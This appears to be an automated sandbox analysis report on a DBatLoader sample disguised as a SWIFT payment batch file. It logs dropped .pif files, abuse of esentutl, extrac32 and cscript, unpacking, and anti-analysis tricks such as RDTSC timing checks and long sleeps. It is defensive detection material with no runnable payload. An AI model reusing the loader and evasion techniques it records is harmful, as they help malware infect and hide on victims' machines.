          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: winmm.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32Jump to behavior
          Source: z1SWIFT_MT103_Payment_552016_cmd.batStatic file information: File size 1139107 > 1048576
          Source: Binary string: cscript.pdbUGP source: joedgvvL.pif, 0000000B.00000003.2313114650.000000001DADE000.00000004.00000020.00020000.00000000.sdmp, joedgvvL.pif, 0000000B.00000002.2335660192.000000001DEC0000.00000040.10000000.00040000.00000000.sdmp, cscript.exe, 0000000D.00000002.4578552146.0000000000BF0000.00000040.80000000.00040000.00000000.sdmp
          Source: Binary string: E:\Adlice\Truesight\x64\Release\truesight.pdb source: x.exe, 00000004.00000003.2189787103.000000007F050000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000004.00000002.2251580298.000000007F2C0000.00000004.00001000.00020000.00000000.sdmp
          Source: Binary string: easinvoker.pdb source: x.exe, x.exe, 00000004.00000002.2248060897.0000000020EB0000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000004.00000003.2189787103.000000007F050000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000004.00000002.2251580298.000000007F2C0000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000004.00000002.2248060897.0000000020EF7000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000004.00000003.2142117406.000000007FB90000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000004.00000003.2140831497.000000007FE00000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000004.00000002.2227079504.00000000031FE000.00000004.00001000.00020000.00000000.sdmp
          Source: Binary string: cmd.pdbUGP source: esentutl.exe, 00000008.00000003.2205517290.0000000005670000.00000004.00001000.00020000.00000000.sdmp, alpha.pif, 0000000A.00000000.2212405005.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, alpha.pif.8.dr
          Source: Binary string: wntdll.pdbUGP source: joedgvvL.pif, 0000000B.00000002.2335706570.000000001E0BE000.00000040.00001000.00020000.00000000.sdmp, joedgvvL.pif, 0000000B.00000002.2335706570.000000001DF20000.00000040.00001000.00020000.00000000.sdmp, joedgvvL.pif, 0000000B.00000003.2221706978.000000001DD76000.00000004.00000020.00020000.00000000.sdmp, joedgvvL.pif, 0000000B.00000003.2214977767.000000001DBCE000.00000004.00000020.00020000.00000000.sdmp, cscript.exe, 0000000D.00000002.4579171582.0000000004FBE000.00000040.00001000.00020000.00000000.sdmp, cscript.exe, 0000000D.00000002.4579171582.0000000004E20000.00000040.00001000.00020000.00000000.sdmp, cscript.exe, 0000000D.00000003.2313532832.0000000004AB4000.00000004.00000020.00020000.00000000.sdmp, cscript.exe, 0000000D.00000003.2320518672.0000000004C6D000.00000004.00000020.00020000.00000000.sdmp
          Source: Binary string: ping.pdbGCTL source: esentutl.exe, 00000009.00000003.2209251520.0000000005320000.00000004.00001000.00020000.00000000.sdmp, xpha.pif.9.dr
          Source: Binary string: wntdll.pdb source: joedgvvL.pif, joedgvvL.pif, 0000000B.00000002.2335706570.000000001E0BE000.00000040.00001000.00020000.00000000.sdmp, joedgvvL.pif, 0000000B.00000002.2335706570.000000001DF20000.00000040.00001000.00020000.00000000.sdmp, joedgvvL.pif, 0000000B.00000003.2221706978.000000001DD76000.00000004.00000020.00020000.00000000.sdmp, joedgvvL.pif, 0000000B.00000003.2214977767.000000001DBCE000.00000004.00000020.00020000.00000000.sdmp, cscript.exe, 0000000D.00000002.4579171582.0000000004FBE000.00000040.00001000.00020000.00000000.sdmp, cscript.exe, 0000000D.00000002.4579171582.0000000004E20000.00000040.00001000.00020000.00000000.sdmp, cscript.exe, 0000000D.00000003.2313532832.0000000004AB4000.00000004.00000020.00020000.00000000.sdmp, cscript.exe, 0000000D.00000003.2320518672.0000000004C6D000.00000004.00000020.00020000.00000000.sdmp
          Source: Binary string: easinvoker.pdbH source: x.exe, 00000004.00000003.2189787103.000000007F050000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000004.00000002.2251580298.000000007F2C0000.00000004.00001000.00020000.00000000.sdmp
          Source: Binary string: easinvoker.pdbGCTL source: x.exe, 00000004.00000003.2210936241.0000000021580000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000004.00000002.2248060897.0000000020EB0000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000004.00000002.2248060897.0000000020EF7000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000004.00000003.2142117406.000000007FB90000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000004.00000003.2210936241.00000000215AF000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000004.00000003.2140831497.000000007FE00000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000004.00000003.2141828114.0000000003014000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000004.00000002.2225748962.0000000003013000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000004.00000002.2227079504.00000000031FE000.00000004.00001000.00020000.00000000.sdmp
          Source: Binary string: cmd.pdb source: esentutl.exe, 00000008.00000003.2205517290.0000000005670000.00000004.00001000.00020000.00000000.sdmp, alpha.pif, alpha.pif, 0000000A.00000000.2212405005.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, alpha.pif.8.dr
          Source: Binary string: ping.pdb source: esentutl.exe, 00000009.00000003.2209251520.0000000005320000.00000004.00001000.00020000.00000000.sdmp, xpha.pif.9.dr
          Source: Binary string: cscript.pdb source: joedgvvL.pif, 0000000B.00000003.2313114650.000000001DADE000.00000004.00000020.00020000.00000000.sdmp, joedgvvL.pif, 0000000B.00000002.2335660192.000000001DEC0000.00000040.10000000.00040000.00000000.sdmp, cscript.exe, 0000000D.00000002.4578552146.0000000000BF0000.00000040.80000000.00040000.00000000.sdmp

          Data Obfuscation

          barindex
          Detected unpacking (changes PE section rights)
          Source: C:\Users\Public\Libraries\joedgvvL.pifUnpacked PE file: 11.2.joedgvvL.pif.400000.0.unpack .text:ER;.data:W;.tls:W;.rdata:R;.idata:R;.edata:R;.rsrc:R; vs .text:ER;
          Yara detected DBatLoader
          Source: Yara matchFile source: 4.2.x.exe.31d0000.0.unpack, type: UNPACKEDPE
          Source: joedgvvL.pif.4.drStatic PE information: 0x9E9038DB [Sun Apr 19 22:51:07 2054 UTC]
          Source: C:\Users\user\AppData\Local\Temp\x.exeCode function: 4_2_031E894C LoadLibraryW,GetProcAddress,FreeLibrary,4_2_031E894C
          Source: alpha.pif.8.drStatic PE information: section name: .didat
          Source: C:\Users\user\AppData\Local\Temp\x.exeCode function: 4_2_031D332C push eax; ret 4_2_031D3368
          Source: C:\Users\user\AppData\Local\Temp\x.exeCode function: 4_2_031DC349 push 8B031DC1h; ret 4_2_031DC34E
          Source: C:\Users\user\AppData\Local\Temp\x.exeCode function: 4_2_031FC378 push 031FC56Eh; ret 4_2_031FC566
          Source: C:\Users\user\AppData\Local\Temp\x.exeCode function: 4_2_031D63B0 push 031D640Bh; ret 4_2_031D6403
          Source: C:\Users\user\AppData\Local\Temp\x.exeCode function: 4_2_031D63AE push 031D640Bh; ret 4_2_031D6403
          Source: C:\Users\user\AppData\Local\Temp\x.exeCode function: 4_2_031FD2FC push 031FD367h; ret 4_2_031FD35F
          Source: C:\Users\user\AppData\Local\Temp\x.exeCode function: 4_2_031EF108 push ecx; mov dword ptr [esp], edx4_2_031EF10D
          Source: C:\Users\user\AppData\Local\Temp\x.exeCode function: 4_2_031FD144 push 031FD1ECh; ret 4_2_031FD1E4
          Source: C:\Users\user\AppData\Local\Temp\x.exeCode function: 4_2_031FD1F8 push 031FD288h; ret 4_2_031FD280
          Source: C:\Users\user\AppData\Local\Temp\x.exeCode function: 4_2_031E306C push 031E30B9h; ret 4_2_031E30B1
          Source: C:\Users\user\AppData\Local\Temp\x.exeCode function: 4_2_031E306B push 031E30B9h; ret 4_2_031E30B1
          Source: C:\Users\user\AppData\Local\Temp\x.exeCode function: 4_2_031FD0AC push 031FD125h; ret 4_2_031FD11D
          Source: C:\Users\user\AppData\Local\Temp\x.exeCode function: 4_2_031D6784 push 031D67C6h; ret 4_2_031D67BE
          Source: C:\Users\user\AppData\Local\Temp\x.exeCode function: 4_2_031D6782 push 031D67C6h; ret 4_2_031D67BE
          Source: C:\Users\user\AppData\Local\Temp\x.exeCode function: 4_2_031FC570 push 031FC56Eh; ret 4_2_031FC566
          Source: C:\Users\user\AppData\Local\Temp\x.exeCode function: 4_2_031DC56C push ecx; mov dword ptr [esp], edx4_2_031DC571
          Source: C:\Users\user\AppData\Local\Temp\x.exeCode function: 4_2_031DD5A0 push 031DD5CCh; ret 4_2_031DD5C4
          Source: C:\Users\user\AppData\Local\Temp\x.exeCode function: 4_2_031DCBEC push 031DCD72h; ret 4_2_031DCD6A
          Source: C:\Users\user\AppData\Local\Temp\x.exeCode function: 4_2_031DCA4E push 031DCD72h; ret 4_2_031DCD6A
          Source: C:\Users\user\AppData\Local\Temp\x.exeCode function: 4_2_03244A50 push eax; ret 4_2_03244B20
          Source: C:\Users\user\AppData\Local\Temp\x.exeCode function: 4_2_031EAADF push 031EAB18h; ret 4_2_031EAB10
          Source: C:\Users\user\AppData\Local\Temp\x.exeCode function: 4_2_031E8AD8 push 031E8B10h; ret 4_2_031E8B08
          Source: C:\Users\user\AppData\Local\Temp\x.exeCode function: 4_2_031EAAE0 push 031EAB18h; ret 4_2_031EAB10
          Source: C:\Users\user\AppData\Local\Temp\x.exeCode function: 4_2_031E790C push 031E7989h; ret 4_2_031E7981
          Source: C:\Users\user\AppData\Local\Temp\x.exeCode function: 4_2_031E6948 push 031E69F3h; ret 4_2_031E69EB
          Source: C:\Users\user\AppData\Local\Temp\x.exeCode function: 4_2_031E6946 push 031E69F3h; ret 4_2_031E69EB
          Source: C:\Users\user\AppData\Local\Temp\x.exeCode function: 4_2_031E886C push 031E88AEh; ret 4_2_031E88A6
          Source: C:\Users\user\AppData\Local\Temp\x.exeCode function: 4_2_031E2F60 push 031E2FD6h; ret 4_2_031E2FCE
          Source: C:\Users\user\AppData\Local\Temp\x.exeCode function: 4_2_031E5E7C push ecx; mov dword ptr [esp], edx4_2_031E5E7E
          Source: C:\Users\Public\alpha.pifCode function: 10_2_00D271ED push ecx; ret 10_2_00D27200
          Source: C:\Users\Public\alpha.pifCode function: 10_2_00D2722B push ecx; ret 10_2_00D2723E

          Persistence and Installation Behavior

          barindex
          Drops PE files with a suspicious file extension
          Source: C:\Windows\SysWOW64\esentutl.exeFile created: C:\Users\Public\alpha.pifJump to dropped file
          Source: C:\Windows\SysWOW64\esentutl.exeFile created: C:\Users\Public\xpha.pifJump to dropped file
          Source: C:\Users\user\AppData\Local\Temp\x.exeFile created: C:\Users\Public\Libraries\joedgvvL.pifJump to dropped file
          Source: C:\Windows\System32\extrac32.exeFile created: C:\Users\user\AppData\Local\Temp\x.exeJump to dropped file
          Source: C:\Windows\SysWOW64\esentutl.exeFile created: C:\Users\Public\alpha.pifJump to dropped file
          Source: C:\Windows\SysWOW64\esentutl.exeFile created: C:\Users\Public\xpha.pifJump to dropped file
          Source: C:\Users\user\AppData\Local\Temp\x.exeFile created: C:\Users\Public\Libraries\joedgvvL.pifJump to dropped file
          Source: C:\Windows\SysWOW64\esentutl.exeFile created: C:\Users\Public\alpha.pifJump to dropped file
          Source: C:\Windows\SysWOW64\esentutl.exeFile created: C:\Users\Public\xpha.pifJump to dropped file

          Boot Survival

          barindex
          Drops PE files to the user root directory
          Source: C:\Windows\SysWOW64\esentutl.exeFile created: C:\Users\Public\alpha.pifJump to dropped file
          Source: C:\Windows\SysWOW64\esentutl.exeFile created: C:\Users\Public\xpha.pifJump to dropped file
          Source: C:\Users\user\AppData\Local\Temp\x.exeCode function: 4_2_031EAB1C GetModuleHandleA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,4_2_031EAB1C
          Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\cscript.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior

          Malware Analysis System Evasion

          barindex
          Switches to a custom stack to bypass stack traces
          Source: C:\Users\Public\Libraries\joedgvvL.pifAPI/Special instruction interceptor: Address: 7FFDB442D324
          Source: C:\Users\Public\Libraries\joedgvvL.pifAPI/Special instruction interceptor: Address: 7FFDB4430774
          Source: C:\Users\Public\Libraries\joedgvvL.pifAPI/Special instruction interceptor: Address: 7FFDB4430154
          Source: C:\Users\Public\Libraries\joedgvvL.pifAPI/Special instruction interceptor: Address: 7FFDB442D8A4
          Source: C:\Users\Public\Libraries\joedgvvL.pifAPI/Special instruction interceptor: Address: 7FFDB442DA44
          Source: C:\Users\Public\Libraries\joedgvvL.pifAPI/Special instruction interceptor: Address: 7FFDB442D1E4
          Source: C:\Windows\SysWOW64\cscript.exeAPI/Special instruction interceptor: Address: 7FFDB442D324
          Source: C:\Windows\SysWOW64\cscript.exeAPI/Special instruction interceptor: Address: 7FFDB4430774
          Source: C:\Windows\SysWOW64\cscript.exeAPI/Special instruction interceptor: Address: 7FFDB442D944
          Source: C:\Windows\SysWOW64\cscript.exeAPI/Special instruction interceptor: Address: 7FFDB442D504
          Source: C:\Windows\SysWOW64\cscript.exeAPI/Special instruction interceptor: Address: 7FFDB442D544
          Source: C:\Windows\SysWOW64\cscript.exeAPI/Special instruction interceptor: Address: 7FFDB442D1E4
          Source: C:\Windows\SysWOW64\cscript.exeAPI/Special instruction interceptor: Address: 7FFDB4430154
          Source: C:\Windows\SysWOW64\cscript.exeAPI/Special instruction interceptor: Address: 7FFDB442D8A4
          Source: C:\Windows\SysWOW64\cscript.exeAPI/Special instruction interceptor: Address: 7FFDB442DA44
          Tries to detect virtualization through RDTSC time measurements
          Source: C:\Users\Public\Libraries\joedgvvL.pifRDTSC instruction interceptor: First address: 409904 second address: 40990A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
          Source: C:\Users\Public\Libraries\joedgvvL.pifRDTSC instruction interceptor: First address: 409B7E second address: 409B84 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
          Source: C:\Windows\SysWOW64\cscript.exeRDTSC instruction interceptor: First address: A39904 second address: A3990A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
          Source: C:\Windows\SysWOW64\cscript.exeRDTSC instruction interceptor: First address: A39B7E second address: A39B84 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_00409AB0 rdtsc 11_2_00409AB0
          Source: C:\Windows\explorer.exeWindow / User API: threadDelayed 6997Jump to behavior
          Source: C:\Windows\explorer.exeWindow / User API: threadDelayed 2933Jump to behavior
          Source: C:\Windows\explorer.exeWindow / User API: foregroundWindowGot 900Jump to behavior
          Source: C:\Windows\explorer.exeWindow / User API: foregroundWindowGot 852Jump to behavior
          Source: C:\Windows\SysWOW64\cscript.exeWindow / User API: threadDelayed 1575Jump to behavior
          Source: C:\Windows\SysWOW64\cscript.exeWindow / User API: threadDelayed 8396Jump to behavior
          Source: C:\Windows\explorer.exeDecision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)
          Source: C:\Windows\SysWOW64\esentutl.exeDropped PE file which has not been started: C:\Users\Public\xpha.pifJump to dropped file
          Source: C:\Users\Public\alpha.pifAPI coverage: 6.3 %
          Source: C:\Users\Public\Libraries\joedgvvL.pifAPI coverage: 2.0 %
          Source: C:\Windows\explorer.exe TID: 1864Thread sleep count: 6997 > 30Jump to behavior
          Source: C:\Windows\explorer.exe TID: 1864Thread sleep time: -13994000s >= -30000sJump to behavior
          Source: C:\Windows\explorer.exe TID: 1864Thread sleep count: 2933 > 30Jump to behavior
          Source: C:\Windows\explorer.exe TID: 1864Thread sleep time: -5866000s >= -30000sJump to behavior
          Source: C:\Windows\SysWOW64\cscript.exe TID: 2580Thread sleep count: 1575 > 30Jump to behavior
